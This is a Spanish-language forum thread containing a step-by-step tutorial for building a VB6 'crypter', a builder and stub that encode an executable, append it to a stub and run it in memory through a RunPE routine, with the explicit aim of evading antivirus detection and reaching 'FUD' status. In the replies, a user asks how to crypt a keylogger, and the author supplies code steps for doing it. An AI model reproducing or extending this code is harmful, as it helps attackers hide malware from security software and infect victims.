Introducción

El objetivo de este tutorial es el de ayudar a los recién iniciados en el mundo de la (in)seguridad informática y la criptografía. Intentaré ser lo más claro y conciso tanto en las explicaciones como en los códigos proporcionados.

Conceptos teóricos básicos

¿Qué es un crypter?
La palabra 'crypter' es el anglicismo de 'cifrador'. Un crypter tiene como objetivo alterar un archivo para que éste pueda saltarse las diversas protecciones que disponen los antivirus.

¿Qué técnicas utilizan principalmente los antivirus?
Los antivirus cuentan con dos formas principales para detectar una amenaza: las firmas y la heurística.
- Firmas: los antivirus detectan patrones hexadecimales en los archivos y los comparan con su base de datos.
- Heurística: los antivirus detectan el comportamiento de un archivo y lo catalogan como amenaza si lo consideran malicioso.

¿Qué lenguaje de programación es el mejor para hacer un crypter?
No hay un lenguaje mejor. Depende mucho de los recursos de los que se disponga y los conocimientos que uno tenga sobre un lenguaje, aunque el más usado es sin duda Visual Basic 6 (VB6 para abreviar), seguido de Visual Basic .NET (VB.NET) y AutoIt (Au3). Object Pascal (Delphi) y C# también son usados pero en menor medida.

¿Qué tipos de crypters hay?
Hay 2:
- Scantime: droppea (suelta) el archivo cifrado en el disco duro (normalmente en la carpeta temp) y luego lo ejecuta. Este tipo de crypter fue de los primeros que hubo y debido a la heurística de los antivirus ahora es inutil.
- Runtime: descifra y ejecuta en memoria el archivo. Esta técnica es útil para evitar la heurística de los antivirus.

Contenido de un crypter

Un crypter se divide en 2 partes: builder y stub.

Builder
Es la herramienta (gráfica) que permite cifrar a un archivo.
[Enlace externo eliminado para invitados]
Ejemplo de builder del usuario sudo
Stub
Esta es la pieza más importante del crypter. El stub encapsula el propio stub y el archivo cifrado. Su función es obtener el archivo cifrado del EOF (End Of File, final de archivo) y ejecutarlo en el disco duro (scantime) o en memoria (runtime).
Metal_Kingdom::: escribió:Esto no es siempre así, es una de las muchas maneras de leer el fichero cifrado, pudiéndose del EOF, en recursos, en cualquier variable escondida en el propio stub, escondido en otro fichero.. e incluso almacenado en un host.

Quedaría mejor aclarar que el almacenaje en el EOF es el método estándar, pero que hay muchas formas de hacerlo.
Imagen
Esquema algo cutre de un crypter
PARTE PRÁCTICA
Como sé que a la mayoría de usuarios no le interesa mucho la teórica me enfocaré más en la parte práctica de este tutorial, cuyo objetivo es ayudaros a hacer un crypter en el lenguaje más usado, VB6.

Requisitos
- Nociones básicas de programación (para comprender mejor el código)
- Visual Basic 6 IDE (para desarrollar el crypter en VB6)

Una vez instalados el IDE (entornos de desarrollo por sus siglas en inglés) empezaremos creando el builder del crypter. Será algo sencillo.

Al abrir el IDE te dará a elegir entre crear un nuevo proyecto, abrir uno existente o uno reciente.
Imagen
Seleccionamos en la pestaña 'Nuevo' la opción 'Exe estándar' y clicamos en 'Abrir'.

Se abrirá el editor gráfico. Aquí es donde añadiremos los botones, labels (etiquetas de texto) y más componentes.
Imagen
En la parte derecha del IDE encontramos la estructura del proyecto. Hay 3 tipos de "documentos" principales en VB6: formularios (form), módulos (modules) y classes (module classes). Para el builder sólo necesitaremos un formulario.
Imagen
Para pasar del editor gráfico al editor de código y viceversa hay dos botones en la parte superior del árbol de archivos. Seleccionamos un archivo y clicamos en algunos de los botones siguientes para cambiar de editor.
Imagen
Empezaremos cambiando el título del formulario, para ello hacemos click en el formulario (en el editor gráfico, obviamente) y en la esquina inferior derecha aparecerán las propiedades del formulario. Buscamos la propiedad 'Caption' y cambiamos 'Form1' por el título que queramos, yo pondré 'Tutorial by Blau'.
Imagen
Ahora añadiremos una label (etiqueta de texto) en el formulario. Seleccionamos el componente label en la parte izquierda del editor gráfico y lo insertamos dentro del formulario.
Imagen
Y ahora nos vamos al cuadro de propiedades y cambiamos el atributo 'Caption' por 'Archivo' por ejemplo.
Imagen
El siguiente componente sera un TextBox (el que está a la derecha del label) y hacemos lo mismo que antes. Una vez el TextBox se encuentra en el formulario, borramos lo que haya en 'Caption' (lo dejamos vacío), la propiedad 'Enabled' la cambiamos por 'False' y '(Nombre)' (la primera propiedad) la cambiamos por algo más representantivo, yo lo llamaré 'txtArchivo'.
Imagen
Ya casi estará listo el diseño, sólo faltan 2 botones. Uno para buscar el archivo y otro para cifrarlo. El nombre del primero será 'btnBuscar' y el caption será 'Buscar', el nombre del segundo será 'btnCifrar' y el caption 'Cifrar'.
Imagen

El último paso es añadir el componente para permitir buscar archivos (la típica ventanita de buscar archivos de Windows). Hay que hacer click derecho en el cuadro de componentes (el de la izquierda) y seleccionar la opción 'Componentes'. Se abrirá una ventana con muchos controladores, el que necesitamos es 'Microsoft Common Dialog Control 6.0'. Hacemos doble click y aceptamos.
Imagen
Ahora insertamos en el formulario el nuevo componente que se ha añadido y cambiamos el nombre a 'CD'.
Imagen
Con esto, ya estará listo el diseño, ahora toca la parte de código.

Haced doble click en el botón 'Buscar' y se abrirá el editor de código.
Imagen
Dentro del bloque de código que se ha generado automáticamente (Private Sub btnBuscar_Click()) pegamos el siguiente código:
With CD 'Con el CommonDialog (ventana de seleccionar archivo)
        .DialogTitle = "Selecciona el archivo a cifrar" 'Título de la ventana
        .Filter = "EXE|*.exe" 'Tipos de extensiones a buscar
        .ShowOpen 'Mostrar la ventana para seleccionar archivo
    End With
    If CD.FileName <> vbNullString Then 'Si se ha seleccionado un archivo
        txtArchivo.Text = CD.FileName 'Al TextBox 'txtArchivo' se le atribuye la ruta del archivo como Text
    End If
Imagen
Volvemos al editor gráfico y hacemos doble click en 'btnCifrar' e insertamos el siguiente código.
With CD 'Con el CommonDialog (ventana de seleccionar archivo)
        .DialogTitle = "Selecciona la ruta donde quieres guardar el archivo cifrado" 'Título de la ventana
        .Filter = "EXE|*.exe" 'Tipos de extensiones a buscar
        .ShowSave 'Mostrar la ventana para guardar archivo
    End With
    If CD.FileName = vbNullString Then 'Si no se ha seleccionado un nombre
        MsgBox "¡No has elegido una ruta/nombre!" 'Un mensaje indicando que no se ha seleccionado una ruta o nombre
        Exit Sub 'Se sale de la acción del botón
    Else 'Si sí se ha seleccionado un nombre
        'Dejamos esto vacío de momento, aquí estará el resto del código que falta
    End If
Imagen
Ahora tendremos que elegir un algoritmo de cifrado. Adjuntaré una pequeña recopilación de clases de cifrado, yo elegiré Base64 ya que no es un cifrado muy común para crypters. Hacemos click derecho en el nombre del proyecto dentro del árbol de archivos, seleccionamos la opción 'Agregar archivo' y seleccionamos la clase que queramos.
Imagen
Ahora contiuamos el código en el bloque 'Else' con el siguiente código:
Dim b64 As New clsBase64 'Instanciamos la clase clsBase64 con el nombre 'b64'
    Dim sStub As String 'Aquí almacenaremos el archivo Stub
    Dim sArchivo As String 'Aquí almacenaremos el archivo a cifrar
    Dim sDelimitador As String 'Esta será una cadena de texto para dividir el stub del archivo cifrado
    sDelimitador = "[Blau]Delimitador[Blau]"
        
    Open App.Path & "\Stub.exe" For Binary As #1 'Abrimos en modo binario el stub, 'Stub.exe' es el nombre del Stub
        sStub = Space(LOF(1)) 'Reservamos espacio en memoria
        Get #1, , sStub 'Almacenamos el contenido de 'Stub.exe' en la variable sStub
    Close #1
        
    Open txtArchivo.Text For Binary As #1 'Abrimos en modo binario el archivo a cifrar, txtArchivo contiene la ruta del archivo
        sArchivo = Space(LOF(1)) 'Hacemos lo mismo que con el stub
        Get #1, , sArchivo
    Close #1
        
    sArchivo = b64.Encode(sArchivo) 'Ciframos el contenido del archivo con Base64
        
    Open CD.FileName For Binary As #1 'Creamos y abrimos el archivo donde se guardará
        Put #1, , sStub & sDelimitador & sArchivo 'Dentro del archivo guardamos el Stub, el delimitador y el archivo cifrado
    Close #1
        
    MsgBox "¡Archivo cifrado con éxito!" 'Mostramos un mensaje para avisar al usuario que todo ha ido bien
Imagen
El builder ya está listo, para decorarlo un poco más puedes cambiarle el icono. Para ello ve al editor gráfico, selecciona el formulario y la propiedad 'Icon' te permitirá buscar un icono.
Imagen
Ahora toca compilar el builder. Ve a la pestaña 'Archivo' y selecciona 'Generar <NombreProyecto>.exe'.
Imagen
Guardamos todo y en la pestaña 'Archivo' seleccionamos 'Nuevo proyecto', se nos abrirá la misma ventana que al abrir el IDE. Seleccionamos las mismas opciones que el Builder (Nuevo > EXE estándar > Abrir).

Esta vez no usaremos forumalarios, sino módulos. Hacemos click derecho en 'Form1' en el árbol de archivos y hacemos click en 'Quitar Form1'.
Imagen
Hacemos click derecho en el proyecto y seleccionamos 'Agregar' > 'Módulo'. Se abrirá una ventana, sólo tenemos que darle a 'Abrir' y en la esquina inferior derecha se aparecerá el cuadro de propiedades del módulo donde sólo se puede cambiar el nombre, yo lo llamaré 'mMain'.
Imagen
En los módulos sólo se puede escribir código, no hay nada gráfico. Hacemos de nuevo el paso de añadir la clase de cifrado como hemos hecho en el builder.
Imagen
A continuación pegamos el siguiente código en el módulo 'mMain'.
Sub main()
    Dim sMe() As String 'Array que contiene el Stub y el archivo cifrado
    Dim sDelimitador As String 'Igual que en el builder
    Dim b64 As New clsBase64 'Instancia de la clase clsBase64
    Dim sDescifrado As String 'Archivo descifrado
    Dim sBinario() As Byte 'Array de bytes que tendrá el archivo descifrado
    
    sDelimitador = "[Blau]Delimitador[Blau]" 'IMPORTANTE: mismo delimitador que en el builder
    sMe = SplitMyself(sDelimitador)
    
    '[Array] sMe
    'sMe(0) = Stub
    'sMe(1) = Archivo cifrado
    
    sDescifrado = b64.Decode(sMe(1)) 'Guardamos el archivo descifrado en la variable 'sDescifrado'
    sBinario = StrConv(sDescifrado, vbFromUnicode) 'Convertimos el archivo descifrado a una array de bytes
    
    
End Sub

Public Function GetCurrentPath() 'Función para obtener la ruta del archivo
    GetCurrentPath = App.path & "\" & App.EXEName & ".exe"
End Function

Public Function ReadMyself() 'Función para leerse a sí mismo
    Dim ret As String
    Open GetCurrentPath For Binary As #1
        ret = Space(LOF(1))
        Get #1, , ret
    Close #1
    ReadMyself = ret
End Function

Public Function SplitMyself(sDelimitador As String) 'Función para dividir el stub del archivo cifrado gracias al delimitador
    SplitMyself = Split(ReadMyself, sDelimitador)
End Function
Imagen
Falta la pieza clave del Stub, el RunPE. El RunPE es el código encargado de ejecutar el archivo en memoria. La mayoría de firmas de los antivirus se centran en este código.
Yo usaré un RunPe aportado por Himanen (http://indetectables.net/viewtopic.php?f=96&t=44532).
Agregamos un nuevo módulo al proyecto y lo llamamos 'mRunPE'.
Imagen
Dentro del módulo pegamos el RunPE.

Mostrar/Ocultar

Si nos fijamos en el RunPE, veremos que esta línea
Public Sub RunPE(ByVal TargetHost As String, bBuffer() As Byte)
es la llamada al RunPE así que vamos al módulo mMain y al final del bloque 'Sub main()' pegamos el siguiente código.
Call RunPE(GetCurrentPath, sBinario) 'Con esto nos autoinyectaremos el archivo descifrado
Imagen
Compilamos el proyecto con el nombre 'Stub.exe' y lo guardamos en la misma ruta que el builder.
Imagen
¡Sólo tenemos que comprobar que funciona!
Imagen
Aquí dejo el scan del archivo cifrado:

Mostrar/Ocultar

El resultado no ha sido muy bueno porque he usado métodos básicos y un RunPE público pero con imaginación y modding se puede conseguir un crypter FUD (full undetectable).
No tiene los permisos requeridos para ver los archivos adjuntos a este mensaje.
Gracias por el tutorial!!!

Una pregunta... quiero encriptar un keylogger y leí que para eso el crypter debe tener EOF. ¿Cómo hago eso?
osc escribió:Buen tuto y muy bien explicado!....Gracias por compartirlo!
¡De nada!
snok1415 escribió:Gracias por el tutorial!!!

Una pregunta... quiero encriptar un keylogger y leí que para eso el crypter debe tener EOF. ¿Cómo hago eso?
Necesitas el siguiente módulo

Mostrar/Ocultar

Entonces, en el builder antes de
MsgBox "¡Archivo cifrado con éxito!"
Pegas el siguiente código
Call WriteEOFData(CD.FileName, ReadEOFData(txtArchivo.Text))
Buen tuto, espero que los usuarios intenten aprender y no solo copiar y pegar.
Su función es obtener el archivo cifrado del EOF (End Of File, final de archivo)
Esto no es siempre así, es una de las muchas maneras de leer el fichero cifrado, pudiéndose del EOF, en recursos, en cualquier variable escondida en el propio stub, escondido en otro fichero.. e incluso almacenado en un host.

Quedaría mejor aclarar que el almacenaje en el EOF es el método estándar, pero que hay muchas formas de hacerlo.

Saludos.
UDTools.net
GitHub: https://github.com/MetalUDT
Felicidades Blau! Muy bien explicado y fácil de entender uno de los mejores tutoriales para crear crypter que ya había visto. Gracias!
"Concentrarse en las fortalezas, reconocer las debilidades, las oportunidades y tomar la guardia contra las amenazas."

―Sun Tzu
¡Gracias a todos!
Metal_Kingdom escribió:Buen tuto, espero que los usuarios intenten aprender y no solo copiar y pegar.
Su función es obtener el archivo cifrado del EOF (End Of File, final de archivo)
Esto no es siempre así, es una de las muchas maneras de leer el fichero cifrado, pudiéndose del EOF, en recursos, en cualquier variable escondida en el propio stub, escondido en otro fichero.. e incluso almacenado en un host.

Quedaría mejor aclarar que el almacenaje en el EOF es el método estándar, pero que hay muchas formas de hacerlo.

Saludos.
Había pensado en añadir las diferentes opciones pero como es un tutorial enfocado a novatos pensé que el EOF sería lo más conveniente. Añadiré tu aclaración al tutorial, gracias.
Siiiiiiiiiiiiii Sr hermano Blau, tienes mi bendición por lo bien que lo has hecho y mostrado, ya me hubiera gustado a mi pillar este pedazo de tutorial, cuando empecé, me tuve que calentar mucho los cascos para poder comprender el funcionamiento, y pillar cabos sueltos de varios videos.

Sin lugar a dudas es muy bueno, se nota que eres buena gente, me gustaria conocerte en persona.
Imagen
Gracias a todos.

Algún día de estos haré más partes, como por ejemplo hacer un crypter en AutoIt, añadir cambiador de icono, soporte para EOF, etc.
snok1415 escribió:Agregué un módulo en el builder pero me sale error aquí:

Código: Seleccionar todo

Attribute VB_Name = "mEOF"
Elimina esa línea.

Volver a “Manuales y Tutoriales”